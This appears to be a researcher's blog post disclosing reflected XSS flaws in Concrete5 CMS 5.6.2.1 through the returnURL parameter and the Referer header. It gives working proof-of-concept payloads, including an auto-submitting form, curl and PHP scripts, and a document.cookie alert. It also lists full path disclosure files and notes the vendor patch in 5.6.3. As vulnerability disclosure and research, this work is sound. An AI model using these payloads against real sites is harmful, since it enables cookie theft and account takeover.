Concrete 5.6.2.1 Multiple XSS

While I was playing around with Concrete 5.6.2.1 CMS, I wanted to know how this application shows us a hyperlink to the “Back” button. I found something interesting in the “download_file.php” file.


\concrete\single_pages\download_file.php

line 27

<form action="<?php echo  View::url('/download_file', 'submit_password', $fID) ?>" method="post">
		<?php  if(isset($force)) { ?>
			<input type="hidden" value="<?php echo  $force ?>" name="force" />
		<?php  } ?>
		<input type="hidden" value="<?php echo  $returnURL ?>" name="returnURL" />
		<input type="hidden" value="<?php echo  $rcID ?>" name="rcID"/>
		<label for="password"><?php echo t('Password')?>: <input type="password" name="password" /></label>
		<br /><br />
		<button type="submit"><?php echo t('Download')?></button>
	</form>

Let’s have a look at the “$returnURL” variable.

\concrete\single_pages\download_file.php

line 9

<?php  

defined('C5_EXECUTE') or die("Access Denied.");

// File ID = $fID
// get the file and 
// Find out where to take the user once they're done.
// We check for a posted value, to see if this is the users first page load or after submitting a password, etc.
$returnURL = ($_POST['returnURL']) ? $_POST['returnURL'] : $_SERVER['HTTP_REFERER'];

?>

 

POST XSS

It seems like none of the conditions in the ternary operator seems to be sanitizing input. The ‘returnURL’ is a POST parameter and if it is not supplied then the application takes the value from the Referer header. It’s obvious that a normal user cannot manually inject, we have to automate the attack. For the ‘returnURL’ this is my proof of concept:

<html>
  <body>
    <form name="exploit" action="http://localhost/index.php/download_file" method="POST">
      <input type="hidden" name="returnURL"  
value="&quot;&gt;&lt;svg/onload=confirm(&apos;Hello&apos;)&gt;" />
      <script>document.exploit.submit(); </script>
    </form>
  </body>
</html>


 

Referer XSS

If the POST request fails the application fetches whatever is on the Referer header without any sanitization. You can referrer more information about the Refer header on the RFC 1945 document.

Using cURL we can inject to the referrer header. For example like this:

curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0' -H 'Referer: "><svg/onload=alert(0) > \
-b 'CONCRETE5=9i7h9ikeaj6au8f9mgqn3l5gp2; __utma=111872281.2065057763.1392767406.1392767406.1394183386.2; __utmz=111872281.1392767406.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)' \
'http://localhost/conc/concrete5.6.2.1/index.php/download_file'

I’ve made a proof of concept using PHP. For more info about the client URL library visit here http://php.net/manual/en/book.curl.php

<?php

    echo geturl('http://localhost/conc/concrete5.6.2.1/index.php/download_file', '"><script>prompt("XSS")</script>');

    function geturl($url, $referer) { 

        $headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg,text/html,application/xhtml+xml'; 
        $headers[] = 'Connection: Keep-Alive'; 
        $headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; 
        $useragent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'; 
        $process = curl_init($url); 
        curl_setopt($process, CURLOPT_HTTPHEADER, $headers); 
        curl_setopt($process, CURLOPT_HEADER, 0); 
        curl_setopt($process, CURLOPT_USERAGENT, $useragent);
        curl_setopt($process, CURLOPT_REFERER, $referer);
        curl_setopt($process, CURLOPT_TIMEOUT, 30); 
        curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); 

        $return = curl_exec($process); 
        curl_close($process); 

        return $return; 
    } 

?>

We can also inject into the referer header like this. But works only with IExplorer since other web browsers encode the parameters passed to the URL.

<html>
 <body>
  <form id="exploit" name="exploit" method="GET"
		action="http://localhost/conc/concrete5.6.2.1/index.php/download_file">
  </form>
   <script>
     document.getElementById("exploit").submit();
    </script>
 </body>
</html>

Save it as “xss.htm” and pass the payload like this so that this would be taken as the referer.
http://localhost/xss.htm?"><svg/onload=alert(document.cookie) >//

 

Full Path Disclosures

These are few FPD’s I’ve found in the application.

concrete/single_pages/dashboard/system/basics/editor.php
concrete/single_pages/dashboard/system/view.php
concrete/single_pages/dashboard/system/environment/file_storage_locations.php
concrete/single_pages/dashboard/system/mail/importers.php
concrete/single_pages/dashboard/system/mail/method.php
concrete/single_pages/dashboard/system/permissions/file_types.php
concrete/single_pages/dashboard/system/permissions/files.php
concrete/single_pages/dashboard/system/permissions/tasks.php
concrete/single_pages/dashboard/system/permissions/users.php
concrete/single_pages/dashboard/system/seo/view.php
concrete/single_pages/dashboard/view.php
concrete/single_pages/dashboard/users/attributes.php
concrete/single_pages/dashboard/scrapbook/view.php
concrete/single_pages/dashboard/pages/attributes.php
concrete/single_pages/dashboard/files/attributes.php
concrete/single_pages/dashboard/files/search.php

Demo Video

This is short video demonstrating the above vulnerabilities.

Disclosure Time Line

 
2014-03-16: Responsibly disclosed to the vendor (Vendor’s website too was affected)
– Patched in 5.6.3 and the latest versions
https://www.concrete5.org/documentation/background/version_history/5-6-3-release-notes/

Advertisements

7 thoughts on “Concrete 5.6.2.1 Multiple XSS

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s